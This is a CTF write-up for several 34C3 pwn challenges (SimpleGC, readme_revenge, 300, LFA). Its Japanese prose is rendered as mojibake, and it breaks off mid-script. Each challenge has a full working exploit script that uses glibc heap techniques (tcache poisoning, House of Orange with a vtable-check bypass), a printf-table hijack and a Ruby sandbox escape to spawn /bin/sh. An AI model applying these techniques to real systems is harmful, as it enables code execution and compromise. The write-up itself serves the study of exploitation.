34c3 CTF Write up
ãã®è¨äºã¯ CTF Advent Calendar 20æ¥ç®ã«ãªãäºå®ã ã£ãè¨äºã§ãã
大é
å»ãã¿ã¾ããã
å°ãåã«34c3 CTFã®éå»åã解ããã®ã§ããã®write upã§ãã
ããæ°æ¥åã«ãã£ã35c3 CTFãããã¼ã®ããã¨çªã£è¾¼ã¾ãããã§ãã...12/20ã«å»å¹´ã®éå»åãçµãããã¦æ°æã¡ãã35c3ã«åºãã¤ãããã
OMG... My laptop has just broken!! What the hell... Tomorrow is 35c3 ctf ð±
— ããã (@RKX1209) December 27, 2018
ç 究ã§ããã®ããããªãå½ä»¤ãçºè¡ãããã¦ãªããã¡ã¢ãªãã¹ã¨ã©ã¼ãé »åºããããã«ãªãã©ãããããå´©å£ãæ³£ãæ³£ãæ°ããç©ãè³¼å ¥ãã¦ä»ã«è³ãã¾ãã ã¿ã¤ãã³ã°ãæªãããã
ã¨ããããã§éå»å解ãããã°ã ãã§ãä¾é¤ãã¦ããã¾ããå ã 1,2åç¨åº¦è§£ãã ãã®ã¤ããã§ãããã©ããé å»ãããªããã£ã¨è§£ãã¦ãããã¨ããäºã§pwnã®4/5åæã®éãªwrite upã ãã¨1åã®pwndb reloadedã¯æªã ã«1ãã¼ã ãã解ãã¦ãªããã¾ã²ã¼ãªã®ã§ä»ã¯æ念ãV9ã¯è¿ããã¡ã«è§£ãã¤ããã
SimpleGC (107 pt)
æ¦è¦
ã¦ã¼ã¶ã¼ã¨ãã®ã¦ã¼ã¶ã¼ãæå±ããã°ã«ã¼ãã管çããããã°ã©ã ã
ã¦ã¼ã¶ã¼ã追å ããéãæå±ããã°ã«ã¼ããæå®ããã該å½ã°ã«ã¼ããæ¢ã«åå¨ããã°ãã¤ã³ã¿ãå¼µãã
ç¡ããã°æ°ãã«ã°ã«ã¼ããä½æãã¦åæ§ã«ãã¤ã³ã¿ãå¼µãã
0: Add a user 1: Display a group 2: Display a user 3: Edit a group 4: Delete a user 5: Exit Action:
struct user{ int age; char *name; char *group_key; }; struct group{ char *group_key; int member; };
ã¾ãå¥ã¹ã¬ããã§GC(Garbage Collection)ãåä½ãã¦ãããå®æçã«ã°ã«ã¼ããªã¹ããèµ°æ»ãmemberã0ã«ãªã£ãã¤ã¾ã誰ãæå±ãã¦ããªãã°ã«ã¼ãã¯åé¤ããããã«ãªã£ã¦ããã
ã°ã«ã¼ãã®memberã¯æå±ããã¦ã¼ã¶ã¼ã4. DeleteUser()ã§åé¤ããéã«ãã¯ãªã¡ã³ããããããã«ãªã£ã¦ãããããã¯ã¦ã¼ã¶ã¼ã®group_keyã«ä¸è´ããã°ã«ã¼ãå
¨ã¦ã®memberããã¯ãªã¡ã³ãããã
3ã®EditGroup()ã§ã°ã«ã¼ãå(group_key)ãå¥åã«å¤æ´ã§ããããæååã«å¯¾ããããªãã¼ã·ã§ã³ã¯ç¹ã«ç¡ãã
ããã2ç¹ãæªç¨ããã¨ã
ãããã"group_A"ã¨"group_B"ã«æå±ããã¦ã¼ã¶ã¼Aã¨Bãä½æã
A -> "group_A"
B -> "group_B"
EditGroup()ã§"group_B"ã"group_A"ã¨ããåãååã«å¤æ´ããã¦ã¼ã¶ã¼Aãåé¤ããã¨
A -> "group_A" (member--)
B -> "group_A" (member--)
memberã0ã«ãªãGCã«ãã£ã¦ä¸¡æ¹å
±ã°ã«ã¼ããfreeããããä¸æ¹ã§ã¦ã¼ã¶ã¼Bã¯åé¤ããã¦ããªããã
B -> "group_A" (freed)
ã¨ããã¼ãã«å¯¾ãããã³ã°ãªã³ã°ãã¤ã³ã¿ãåºæ¥ãããã®ã¦ã¼ã¶ã¼Bã使ç¨ããã°Use After Freeãçºçããã
æ®å¿µãªãããã¼ãä¸ã«vtableçã®é¢æ°ãã¤ã³ã¿ãåå¨ããªãã®ã§ããã¼ãã¨ã¯ã¹ããã¤ããã¯ããã¯ãèããã®ãè¯ãããã
Tcache Attack
ä»åã¯mallocã®ãµã¤ãºãæ¯è¼çå°ãããããã£ã³ã¯ã¯å
¨ã¦tcache + fastbinsã§ç®¡çããã¦ããã
3ã®EditGroup()ã«ãã£ã¦freeæ¸ã¿ã®ãã£ã³ã¯group_keyãæ¸ãæããäºã§freeãã£ã³ã¯ã®fdãæ¸ãæãã§ããã
fdãä»»æã®ã¢ãã¬ã¹ã«æ¸ãæãã¦ããã®å¾mallocãå®è¡ããã¦ããã¨è©²å½ã¢ãã¬ã¹ã®é åã使ã£ã¦ããããããã«ããä»»æã®ã¢ãã¬ã¹ã«ãã¤ã³ã¿ãéãã¦ã¢ã¯ã»ã¹å¯è½ã«ãªãã
freeãã£ã³ã¯ã®fdæ¸ãæãã¯fastbinsã®å ´åmalloc(2)æã«ã»ãã¥ãªãã£ãã§ãã¯ãèµ°ããabortãã¦ãã¾ãã
ã¨ãããtcacheã使ãå ´åã¯ãã®éãã§ã¯ãªãã tcacheã¯7ã¹ããããããã£ã³ã¯ããã£ãã·ã¥ã§ãã足ããªããªã£ãå ´åã¯é常éãfastbinsã使ç¨ããã
tcacheã足ããfastbinsã使ç¨ãå§ããç¶æ³ãpwndbgã§ç¢ºèªããã¨ä»¥ä¸ã®ããã«ãªãã
pwndbg> bins tcachebins 0x20 [ 5]: 0x1db85c0 â⸠0x1db8540 â⸠0x1db84c0 â⸠0x1db8440 â⸠0x1db83c0 ââ ... fastbins 0x20: 0x1db8610 â⸠0x1db85f0 â⸠0x1db8590 â⸠0x1db8570 â⸠0x1db8510 ââ ... 0x30: 0x0 0x40: 0x0 0x50: 0x0 0x60: 0x0 0x70: 0x0 0x80: 0x0 unsortedbin all: 0x0 smallbins empty largebins empty
ãã¦ããã®å¾mallocãçºè¡ãã¦tcacheã«ç©ºããåºæ¥ãã¨ã©ããªããã¨è¨ãã¨fastbinsããtcacheã«ç§»åããã¦ã次åã®mallocã«åããããã«ãªãã
åé¡ã¯ãã®ç§»åã®å¦çãçºçããå ´åfastbinsã®ã»ãã¥ãªãã£ãã§ãã¯ãèµ°ããªãäºã ã
3585 #if USE_TCACHE 3586 /* While we're here, if we see other chunks of the same size, 3587 stash them in the tcache. */ 3588 size_t tc_idx = csize2tidx (nb); 3589 if (tcache && tc_idx < mp_.tcache_bins) 3590 { 3591 mchunkptr tc_victim; 3592 3593 /* While bin not empty and tcache not full, copy chunks over. */ 3594 while (tcache->counts[tc_idx] < mp_.tcache_count 3595 && (pp = *fb) != NULL) 3596 { 3597 REMOVE_FB (fb, tc_victim, pp); 3598 if (tc_victim != 0) 3599 { 3600 tcache_put (tc_victim, tc_idx); 3601 } 3602 } 3603 } 3604 #endif
ã¤ã¾ããã£ã³ã¯ã®fdãæ¹ç«ãã¦ããfastbinsããç´æ¥åå¾ããã®ã§ã¯ãªãtcacheãä¸æ¦éãã°ãããªãmallocã§ãã¦ãã¾ãã
ãã ãä»å注æããªããã°ãªããªãã®ã¯ã¹ã¬ãããã¡ã¤ã³(以ä¸T1)ã¨GCç¨(以ä¸T2)ã®2ã¤ãããarenaã¨tcacheã2ã¤ããã¨ããäºã
mallocããã®ã¯ã¡ã¤ã³ã¹ã¬ããå´ã§freeããã®ã¯GCå´ãªã®ã§ãããããã¢ã¯ã»ã¹ããtcacheãéãã
ãã³ã°ãªã³ã°ãã¤ã³ã¿ã«ãã£ã¦æ±æãããã£ã³ã¯ã¯T2ã®tcacheã«ãããããT1å´ã§mallocãã¦ãæ±æãã£ã³ã¯ãåå¾ãããäºãã§ããªãã
åºæ¬çã«ã¯
"ããã¹ã¬ããã§mallocããé åããå¥ã®ã¹ã¬ããã§freeãã¦ã該å½ãã£ã³ã¯ã¯mallocããå´ã®ã¹ã¬ããã®freeãªã¹ãã«ç¹ããã"ãæãç«ã¤ããªããªãfreeãããã¢ãã¬ã¹ã¨arenaã®ã¢ãã¬ã¹ã«ã¯arena == (1M align of free addr)ã¨ããé¢ä¿ãæãç«ã¤ããã ã
ã¤ã¾ãT1ã§mallocããã¢ãã¬ã¹ãã©ã®ã¹ã¬ããã§freeããå ´åã§ããarenaã®ã¢ãã¬ã¹ã¯T1ã®ç©ã«è¨ç®ãããã
以ä¸ã¹ã©ã¤ã(74p)åç §
www.slideshare.net
ããããªããtcacheã ãã¯ä¸è¨ã®ä¾å¤ã§T1ã§mallocãã¦ãT2ã§freeããã°T2å´ã®arenaã®tcacheã«ä¿åãããã
ãã£ã¦ã¨ã¯ã¹ããã¤ãã¯ä»¥ä¸ã®ãããªæé ã«ãªãã
1. T2å´ã§freeã7å以ä¸è¡ã£ã¦tcacheã使ãåãã
2. fastbinsã«æº¢ãããã£ã³ã¯ã®fdãdangling pointerã§æ¹ç«(fastbinsã¯T1ã¨T2ã§å
±é)
3. T1å´ã§mallocãæ°åè¡ãtcacheãæ¯æ¸ããæ¹ããããfastbinsãtcacheã«è¼ãã
ããã§T1ä¸ã§fake chunkã§mallocãå¯è½ã¨ãªããä»åã¯ãããuser[0]ã®ã¢ãã¬ã¹ã«æ¹ç«ã
group_key = malloc()ãå®è¡ãããã¨group_key == &user[0]ã¨ãªããå¾ã¯group_keyãéãã¦
user[0]ãæ¹ç«ããã
pwndbg> x/10xg $users 0x6020e0: 0x0068732f6e69622f 0x00000000006020e0 <-- "/bin/sh\0" ; user[0] 0x6020f0: 0x0000000000602018 0x0000000000000000 <-- free@GOT
ãã®å¾user[0]->group_keyãEditGroup()ã§systemã®ã¢ãã¬ã¹ã«æ¸ãæããã¨ãfree@GOTãsystemã®ã¢ãã¬ã¹ã«æ¸ãæããã
ãã®å¾DeleteUser(0)ã§free(user[0]->name)ãå®è¡ããsystem("/bin/sh")ã§ã·ã§ã«ãåããã
ãã¼ãã®ã¢ãã¬ã¹ã¯freeãã£ã³ã¯ã®fdããªã¼ã¯ãããäºã§è¨ç®ã§ããã
libcã®ã¢ãã¬ã¹ã¯freeãã£ã³ã¯ã1ã¤ã®ã¿ã®éãfdãarenaå
ã®ã¡ã³ããæãã¦ãããããã®å¤ããè¨ç®ã§ããã
Exploit
from pwn import * if len(sys.argv) <= 1: io = process('./sgc') else: # io = remote('', ) exit(0) def add_user(name, group, age): io.recvuntil("Action:") io.sendline("0") io.recvuntil("name:") io.sendline(name) io.recvuntil("group:") io.sendline(group) io.recvuntil("age:") io.sendline(str(age)) def disp_group(group): io.recvuntil("Action:") io.sendline("1") io.recvuntil("name:") io.sendline(group) def disp_user(idx): io.recvuntil("Action:") io.sendline("2") io.recvuntil("index:") io.sendline(str(idx)) return io.recvuntil("0:") def edit_group(idx, prop, group): io.recvuntil("Action:") io.sendline("3") io.recvuntil("index:") io.sendline(str(idx)) io.recvuntil("(y/n):") io.sendline(prop) io.recvuntil("name:") io.sendline(group) def del_user(idx): io.recvuntil("Action:") io.sendline("4") io.recvuntil("index:") io.sendline(str(idx)) user_ptr = 0x6020e0 free_got_ptr = 0x602018 # For filling 7 slots of tcache for i in range(4): add_user("dummy", str(i), 0) # Create 2 users which'll be placed in fastbins add_user("innocent", "normal", 0) add_user("exp", "expg", 0) # Same group name "expg" edit_group(4, "y", "expg") # Free all group (idx 5 dangling ptr) for i in range(5): del_user(i) sleep(1) raw_input() heap_base = u32(disp_user(5)[26:29].ljust(4,'\0'))-0x590 print "heap_base = " + hex(heap_base) edit_group(5, "y", p64(user_ptr-0x10)) # Same group name "expg" edit_group(5, "n", "pad1") edit_group(5, "n", "pad2") edit_group(5, "n", "pad3") # age name group payload = "/bin/sh\0" + p64(user_ptr) + p64(free_got_ptr) edit_group(5,"n",payload) libc_base = u64(disp_user(1)[30:36].ljust(8,'\0')) - 0x97950 system = libc_base+0x4f440 print "libc_base= " + hex(libc_base) print "system= " + hex(system) edit_group(1,"y",p64(system)) del_user(1) io.interactive() #raw_input()
readme_revenge (150 pt)
æ¦è¦
static linkããããã¤ããªã§ã°ãã¼ãã«å¤æ°ã®ãããã¡ã«æåãå
¥å(scanf)ãåºå(printf)ããã ãããããå
¥åæåæ°ã«å¶éãæ¸ãã¦ããªãã®ã§ãããã¡ãªã¼ãã¼ããã¼ããã
ã°ãã¼ãã«å¤æ°(0x006b73e0)ããä¸ã«ä½ãããã調æ»ãã¦ã¿ãã¨ã
$ nm --numeric-sort ./readme_revenge
00000000006b7978 B __libc_argc
00000000006b7980 B __libc_argv
00000000006b7988 B __gconv_modules_db
00000000006b7990 B __gconv_lock
00000000006b7998 B __gconv_alias_db
00000000006b79a0 B __gconv_path_envvar
00000000006b79a8 B __gconv_max_path_elem_len
00000000006b79b0 B __gconv_path_elem
00000000006b79c0 B _nl_locale_file_list
00000000006b7a28 B __printf_function_table
00000000006b7a30 B __printf_modifier_table
00000000006b7a38 B __tzname_cur_max
__libc_argvãããããã¤æ¢ã«ãã¤ããªå ã«ãã©ã°ãåãè¾¼ã¾ãã¦ããããargv[0] leakã§ãã©ã°ã¯è¡¨ç¤ºã§ãããã ã
$ strings -tx ./readme_revenge | grep 34C3 b4040 34C3_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
è¥å¹²ã¨ã¹ãã¼è¦ç´ ãå¼·ãæ°ãããããargv[0] leakã®å¯è½æ§ãèæ
®ããæã¯åå°çã«strings -txãã¦ã¿ãçã¨ãä»ãã¦ãããã»ããè¯ãã®ãã
ãã¦ãä»åã®é£ç¹ã¯__libc_argvããã©ã°ã®ã¢ãã¬ã¹ã«æ¸ãæãã¦ãã¹ã¿ãã¯ç ´å£ãèµ·ããªãã®ã§fortify_failãå¼ã°ããªãç¹ã ã
ãããã©ããããprintfã®å®è£ ã調æ»ããã¨ä¸å®æ¡ä»¶ä¸ã§__printf_arginfo_tableãå®è¡ãã¦ãããå¦çããããããã
if (__builtin_expect (__printf_function_table == NULL, 1) || spec->info.spec > UCHAR_MAX || __printf_arginfo_table[spec->info.spec] == NULL /* We don't try to get the types for all arguments if the format uses more than one. The normal case is covered though. If the call returns -1 we continue with the normal specifiers. */ || (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) (&spec->info, 1, &spec->data_arg_type, &spec->size)) < 0) {
ifæã®æ¡ä»¶ã¯__printf_function_table != NULLã§__printf_arginfo_tableã調æ´ããã°ä»»æã®ã¢ãã¬ã¹ãcallã§ããã
ããã§fortify_failãå¼ã¹ã°è¯ãã
Exploit
from pwn import * import sys if len(sys.argv) <= 1: io = process('./readme_revenge') else: #io = remote('') exit(0) def pad(length): return "\x00" * length name_addr = 0x6b73e0 libc_argv = 0x6b7980 call_fortify = 0x43599b flag_addr = 0x6b4040 printf_func = 0x6b7a28 printf_arg = 0x6b7aa8 payload = p64(flag_addr) payload += pad(ord("s") * 8 - len(payload)) # %s offset payload += p64(call_fortify) payload += pad(libc_argv - name_addr - len(payload)) payload += p64(name_addr) # **_libc_argv payload += pad(printf_func - name_addr - len(payload)) payload += p64(0x1) #__printf_function_table payload += pad(printf_arg - name_addr - len(payload)) payload += p64(name_addr) # __printf_arginfo_table io.sendline(payload) io.interactive()
300 (264 pt)
æ¦è¦
0x300ãã¤ãåä½ã®ã¹ãããã確ä¿/解æ¾/èªã¿æ¸ãã§ããããã°ã©ã ã
1) alloc 2) write 3) print 4) free
slots[slot] = malloc(0x300); read(0, slotss[slot], 0x300); write(1, slots[slot], strlen(slot)); free(slots[slot]);
ããã¹ãããã«å¯¾ãã¦freeããå¾read/writeãå¯è½ãªã®ã§UAF(Use After Free)ãåºæ¥ãã
House of Orange
libc2.24ã§åä½ããããtcacheã¯ãªãã
0x300ãã¤ãã®freeãã£ã³ã¯ã¯fastbinsã§ã¯ãªãunsorted binsãsmall binsã«ç¹ãããã
ç¡è«ãã¼ãä¸ã«vtableã®ãããªé¢æ°ãã¤ã³ã¿ããªããã¾ãSimpleGCã®æã®ããã«ãã¼ãä¸ã®ãã¤ã³ã¿(key_slot)ãéããèªã¿æ¸ããã§ããªãã
ã¤ã¾ããã®ãã¤ããªç¬èªã®ãã¸ãã¯ã®ä¸ã§PCå¶å¾¡ãAAR/Wã«å¿ç¨ã§ããè¦ç´ ã¯ã»ã¼ç¡ãã
ãããã£ãç¶æ³ã§èããããã®ã¯File Stream Pointer Attackã®ããã«
glibcã®æã£ã¦ããé¢æ°ãã¤ã³ã¿(FILE vtalbe)ãæ¸ãæããäºã§PCãå¶å¾¡ããæ¹æ³ã§ããã
ã§ã¯AAWã¯ã©ãããããå®ã¯unsorted binã«ç¹ãããfreeãã£ã³ã¯ãå©ç¨ããã¨unsorted bin attackã«ãã£ã¦ä»»æã®ã¢ãã¬ã¹ã«å¯¾ãã¦éå®çãªå¤ãæ¸ãè¾¼ãäºãåºæ¥ãã
ããã¯mallocæãunsorted binããfreeãã£ã³ã¯ãåå¾ããå ´åã«unlinkã®ã»ãã¥ãªãã£ãã§ãã¯ãåããªãäºãå©ç¨ããunlink attackã§ã
for (;; ) 3504 { 3505 int iters = 0; 3506 while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) 3507 { 3508 bck = victim->bk; ... 3513 size = chunksize (victim); ... 3551 /* remove from unsorted list */ 3552 unsorted_chunks (av)->bk = bck; 3553 bck->fd = unsorted_chunks (av); 3554
unsorted binä¸ã§fake chunkãä½ããä¸è¨ã®bck->fdãä»»æã®ã¢ãã¬ã¹ã«è¨å®ããã¨
bck->fd = unsorted_chunks (av);
ã«ããã該å½ã¢ãã¬ã¹ã«å¯¾ãã¦unsorted_chunks (av)ã代å
¥ãããã
unsorted_chunks (av)ã¯ããã£ã³ã¯ã1ã¤ããåå¨ããªãå ´åarenaå
ã®ã¡ã³ãã®ã¢ãã¬ã¹ã«ãªãã
ãããå©ç¨ãã¦__IO_list_allã¨ããglibcå
ã®FILEãã¤ã³ã¿ãªã¹ãã«unsorted_chunks (av)ãè¨å®ãã
_IO_flush_all_lockpãå¼ã°ããã¿ã¤ãã³ã°ã§__IO_list_all->_chain(ããã¯unsorted_chunks (av)+0x68 == smallbins[4]->bk)
ã«fakeã®FILEæ§é ä½ãè¨å®ãvtable->__overflowãæ¹ããããäºã§ä»»æã¢ãã¬ã¹å®è¡ãä¿ãäºãã§ããã
ããããHouse of Orangeã使ç¨ã§ããã
Understanding the house of orange [study] | 1ce0ear
ãã ããã®åé¡ã¯glibc2.24ã使ç¨ãã¦ãããFILE streaming pointer attackã®å¯¾çãæ½ããã¦ãããããã¯vtableã®é¢æ°ãã¤ã³ã¿ã
æ£è¦ã®__libc_IO_vtablesã»ã¯ã·ã§ã³å
ã«ããé¢æ°ã®ã¿ãæãã¦ããããã§ãã¯ããæ©è½ã§ãã¤ã¾ãå¾æ¥ã®House of Orangeã®ããã«
vtable->overflowãsystemé¢æ°ãªã©ã®æ£è¦ã®ã»ã¯ã·ã§ã³å¤ã®ã¢ãã¬ã¹ã«æ¸ãæããã¨abortãã¦ãã¾ãã¨ãããã®ã ã
ãããå®ã¯ã»ã¯ã·ã§ã³å
ã®é¢æ°ãå©ç¨ãã¦ãHouse of Orangeãè¡ãäºãã§ãããä¾ãã°_IO_wstr_finishã¯__libc_IO_vtablesã»ã¯ã·ã§ã³å
ã«
åå¨ããæ£è¦ã®é¢æ°ã§ãããã
325 void 326 _IO_wstr_finish (_IO_FILE *fp, int dummy) 327 { 328 if (fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF)) 329 (((_IO_strfile *) fp)->_s._free_buffer) (fp->_wide_data->_IO_buf_base);
fakeã®FILEæ§é ä½ãã_free_bufferã¨_IO_buf_baseã®å¤ãè¨å®ããã°system("/bin/sh")ãå¼ã¶ãã¨ãã§ããã
ã¤ã¾ããããªãsystemé¢æ°ãå¼ã¶ã®ã§ã¯ãªããä¸æ¦æ£è¦ã®é¢æ°ã¸ã®å¼ã³åºããæãäºã§vtableãã§ãã¯ã¯ãã¤ãã¹ã§ããã
Exploit
from pwn import * import sys #stack 0x5c DEBUG=0 if len(sys.argv) <= 1: io = process('./300') SYSTEM = 0x45390 IO_LIST_ALL = 0x3c5520 IO_WSTR_FINISH = 0x3c3030 if DEBUG == 1: gdb.attach(io, 'b *main\n') else: # io = remote('', ) pass def alloc(idx): io.sendafter("4) free\n", "1") io.recvline() io.sendline(str(idx)) def free(idx): io.sendafter("4) free\n", "4") io.recvline() io.sendline(str(idx)) def write(idx, val): io.sendafter("4) free\n", "2") io.recvline() io.sendline(str(idx)) io.send(val) def read(idx): io.sendafter("4) free\n", "3") io.recvline() io.sendline(str(idx)) return io.recvline() alloc(0) alloc(1) alloc(2) alloc(3) alloc(4) free(1) libc_fwdptr = u64(read(1).split('\n')[0].ljust(8, '\x00')) libc_base = libc_fwdptr - 0x3c4b78 system = libc_base + SYSTEM io_list_all = libc_base + IO_LIST_ALL io_wstr_finish = libc_base + IO_WSTR_FINISH print "libc_base=" + hex(libc_base) print "IO_wstr_finish=" + hex(io_wstr_finish) free(3) fake_chunk = u64(read(3).split('\n')[0].ljust(8, '\x00')) print "fake_chunk=" + hex(fake_chunk) free(0) free(2) free(4) alloc(0) alloc(1) # fake_chunk(1) free(0) write(0, fit({8:p64(fake_chunk+0x10)})) # fake_chunk(1) <- 0 alloc(3) # fake_chunk(1) (Remove 0) write(1, fit({ 0:'/bin/sh\x00', 8:p64(0x61), 24:p64(fake_chunk + 0x30), ## fake chunk 0x310 size 40:p64(0x311), ## fake chunk 0x310 bk -> hijacks _IO_list_all 56:p64(io_list_all - 0x10), ## satisfy _IO_flush_all_lockp conditions on 2nd iteration 32:p64(0), # fp->_chain->_mode 192:p64(0), # fp->_chain->_IO_write_base ## make it jump to _IO_wstr_finish 216:p64(io_wstr_finish-0x18), # fp->_chain->vtable ## fake _wide_data 128: p64(fake_chunk + 0x98), 176: p64(fake_chunk + 0x10), # _wide_data->_IO_buf_base "/bin/sh" ## satisfy condition of _IO_wstr_finish 160:p64(fake_chunk + 0x90), # fp->_chain->_wide_data 232:p64(system),})) alloc(3) raw_input() io.sendafter("4) free\n", "5") io.recvline() io.sendline("999") io.interactive()
LFA (400 pt)
æ¦è¦
Rubyã®ã³ã¼ããéãã¨å®è¡ãã¦ããããµã¼ãã¼ãããã
ãããRubyã®VMã«ã¯seccompã«ããsandboxãå®è£
ããç¬èªããããé©ç¨ããã¦ãããRubyä¸ã§flagãèªã¿è¾¼ãã ãã³ãã³ããå®è¡ããäºã¯ä¸å¯è½ã«ãªã£ã¦ããã
ã¤ã¾ãRubyã®VM escapeãè¡ã£ã¦ãã©ã°ãèªã¿åºãã¨ããç©ã
ãµã¼ãã¼ä¸ã®Rubyã§ã¯Cã¨ã¯ã¹ãã³ã·ã§ã³ã«ãã£ã¦å®è£
ãããLFAã¨ããå¯å¤é·é
åã使ããããã®Cã¨ã¯ã¹ãã³ã·ã§ã³ã®èå¼±æ§ãå©ç¨ãã¦VM escapeããã
Cã¨ã¯ã¹ãã³ã·ã§ã³ã§ããLFA.soããªãã¼ã·ã³ã°ããã¨ãä¾ãã°ä»¥ä¸ã®ãããªRubyã®ã³ã¼ããå®è¡ãããã¨
require 'LFA' $arr = LFA.new $arr[0] = 11 $arr[4] = 11 $arr[15000] = 11
LFAã¯å
é¨ã§mallocã®binsã®ãããªãã¼ã¿æ§é ã2ã¤çæãã¦ãªã³ã¯ããã
bins[0] -> bins[15000]
åbinsã¯æ±ºããããæ°ã®ãã£ã³ã¯ãæã£ã¦ããbins->start_idxããå§ã¾ãä¸å®åæ°ã®è¦ç´ ãæ ¼ç´ãã¦ããã
ä¾ãã°arr[4]ã¯bins[0]ã®ãã£ã³ã¯å
ã«æ ¼ç´ããã¦ããããarr[15000]ã¯bins[0]ã«ã¯å
¥ãåããªãããã
æ°ãã«start_idx = 15000ã®binsãçæãããã«æ ¼ç´ããã
ã¤ã¾ããªãã¹ãè¿ãæ·»åã®è¦ç´ ãã²ã¨ã¾ã¨ãã«ãã¦ãé¢æ£çã«ç®¡çãã¦ããã
ãã¦ãåé¡ã®èå¼±æ§ã¯arr.removeãå®è¡ããæã«çºçãããLFAã¯è¦ç´ æ°ã1ãã£ã³ã¯ä»¥ä¸ã«ãªã£ãæããã£ãã·ã¥ç¨ã«ç¢ºä¿ãã¦ãããåºå®é·ã®é
åå
ã«ãã£ã³ã¯ã移ãã¦
ãªã¹ãã§ç®¡çããäºããããããã®å¦çãçºçããæã®ã¿ãLFAã®è¦ç´ æ°ã表ãã¡ã³ããæ´æ°ãã¦ããªãã¨ããèå¼±æ§ã§ããã
ã¤ã¾ã
require 'LFA' $ooa_size=0x8000000 $arr[$ooa_size] = 0xdead $arr.remove $ooa_size puts $arr[0x7000000] #OOR $arr[0x7000000]=0xbeef #OOW
ä¸æ¦$arr[$ooa_size]ã§ãµã¤ãºã$ooa_sizeã«ããç¶æ
ã§æ®ã1ãã£ã³ã¯ãåé¤ããã¨ã
ãµã¤ãºã¯å¤ããããå®éã¯ãã£ãã·ã¥ç¨ã®åºå®é·é
åã«ã¢ã¯ã»ã¹ãããã¨ããã
ãã®ãã£ãã·ã¥é
åã¸ã®ã¢ã¯ã»ã¹ã¯$ooa_sizeã¾ã§è¡ããããOOR/Wãçºçããã
Heap Fengshui
ãã¦ãRubyä¸ã§å·¨å¤§ãªãã¼ãã«å¯¾ããOOR/Wãè¡ããã¨ãªãã°æ¬¡ã¯ã©ããããã
ãã®æã®ãã¼ããèªç±ã«èªã¿æ¸ãã§ããã¨ã¯ã¹ããã¤ãã§ã¯Heap Fengshuiã¨ãããã¯ããã¯ãå©ç¨ããããã
1å¹´ã»ã©åã®ãã¬ã¼ã³è³æåç
§ã
speakerdeck.com
StringãArrayã¨ãã£ãå
é¨çã«ãã¤ã³ã¿ãæã£ã¦ãããã¼ã¿æ§é ããã¼ãä¸ã«ç¢ºä¿ãã¦ãå
é¨ãã¤ã³ã¿ãæ¸ãæããäºã§
ä»»æã®ã¢ãã¬ã¹ã«èªã¿æ¸ããè¡ããããã«ãªãã¨ãããã®ã
ä»åã¯Rubyã®String(å
é¨çã«ã¯RString)ã¨Array(RArray)ãæªç¨ããã
struct RBasic { VALUE flags; const VALUE klass; } struct RString { struct RBasic basic; union { struct { long len; char *ptr; union { long capa; VALUE shared; } aux; } heap; char ary[RSTRING_EMBED_LEN_MAX + 1]; } as; }; struct RArray { struct RBasic basic; union { struct { long len; union { long capa; VALUE shared; } aux; const VALUE *ptr; } heap; const VALUE ary[RARRAY_EMBED_LEN_MAX]; } as; };
ã¨ã¯ã¹ããã¤ãã®æé ã¯
1. RString/RArrayããã¼ãä¸ã«å¤§éã«ç¢ºä¿(ã¹ãã¬ã¼)
2. LFA.arrã使ã£ã¦ãã¼ãä¸ãæ¤ç´¢ãRString/RArrayããããã1ã¤ãã¤æ¢ãåºã(æ¤ç´¢ã®ã·ã°ããã£ã«ã¯RBasic.flags, .lenã®å¤ã使ç¨)
3. RString.ptrãæ¸ãæãStringã¨ãã¦èªã¿è¾¼ããã¨ã§AAR
4. RArray.ptrãæ¸ãæãArray[0]ã«æ¸ãè¾¼ããã¨ã§AAW
5. LFA.arr(RTypedData)ã®typeã®å¤ããªã¼ã¯(ããã¯LFA.soå
ã®ã°ãã¼ãã«å¤æ°ãåç
§)
6. ãªã¼ã¯ãããã°ãã¼ãã«å¤æ°ã®ã¢ãã¬ã¹ããLFA.soå
ã®__cxa_finalizeã®GOTã¢ãã¬ã¹ãè¨ç®
7. GOTã®ã¢ãã¬ã¹ããlibcã®ãã¼ã¹ã¢ãã¬ã¹ãè¨ç® (5. ~ 7. 㯠ASLR+PIE bypassã«å¿
è¦)
8. glibc.__libc_argvãã&argv[0]ã®å¤ããªã¼ã¯ãmainé¢æ°ã®ret addrãè¼ãã¦ããã¹ã¿ãã¯ã®ã¢ãã¬ã¹ãè¨ç®
9. mainé¢æ°ããROPã§flagãèªã¿è¾¼ã (ROPãè¡ãçç±ã¯Full RELRO bypassã®ãã)
struct RTypedData { struct RBasic basic; const rb_data_type_t *type; VALUE typed_flag; /* 1 or not */ void *data; };
Exploit
require 'LFA' GC.disable $CXA_FINALIZE = 0x43520 $LIBC_ARGV = 0x3f04c0 $ooa_size=0x8000000 $heap_str_idx = 0 $heap_arr_idx = 0 $ooa_str = 0 $ooa_array = 0 $old_str_ptr_l = 0 $old_str_ptr_h = 0 $old_array_ptr_l = 0 $old_array_ptr_h = 0 $arr = LFA.new $arr_addr = $arr.__id__ * 2 $arr[$ooa_size] = 0xdead $arr.remove $ooa_size $shui = Array.new(0x1000) def AARead(addr) $low = addr & 0xffffffff if ($low & 0x80000000) != 0 $low = -((1<<32) - $low) end # RString->ptr $arr[$heap_str_idx + 6] = $low $arr[$heap_str_idx + 7] = (addr >> 32) & 0xffffffff val = $ooa_str[0, 8].unpack("Q*")[0] $arr[$heap_str_idx + 6] = $old_str_ptr_l $arr[$heap_str_idx + 7] = $old_str_ptr_h return val end def AAWrite(addr, val) val = (val - 1) / 2 # RArray []= method $low = addr & 0xffffffff if ($low & 0x80000000) != 0 $low = -((1<<32) - $low) end # RString->ptr $arr[$heap_arr_idx + 8] = $low $arr[$heap_arr_idx + 9] = (addr >> 32) & 0xffffffff $ooa_array[0] = val $arr[$heap_str_idx + 8] = $old_array_ptr_l $arr[$heap_str_idx + 9] = $old_array_ptr_h end i = 0 while i < $shui.length do $shui[i] = String.new('A' * 0x50) $shui[i + 1] = Array.new(0x50) i += 2 end i = 0 # Search Rstring while i < $ooa_size do if $arr[i] == 0x506005 and $arr[i + 1] == 0 and $arr[i + 4] == 0x50 and $arr[i + 5] == 0x0 $arr[i + 4] = 0x80 $heap_str_idx = i puts 'RString offset = ' + $heap_str_idx.to_s() $old_str_ptr_l = $arr[i + 6] $old_str_ptr_h = $arr[i + 7] break end i += 1 end i = 0 while i < $shui.length do if $shui[i].length == 0x80 $ooa_str = $shui[i] break end i += 1 end # Search RArray while i < $ooa_size do if $arr[i] == 0x7 and $arr[i 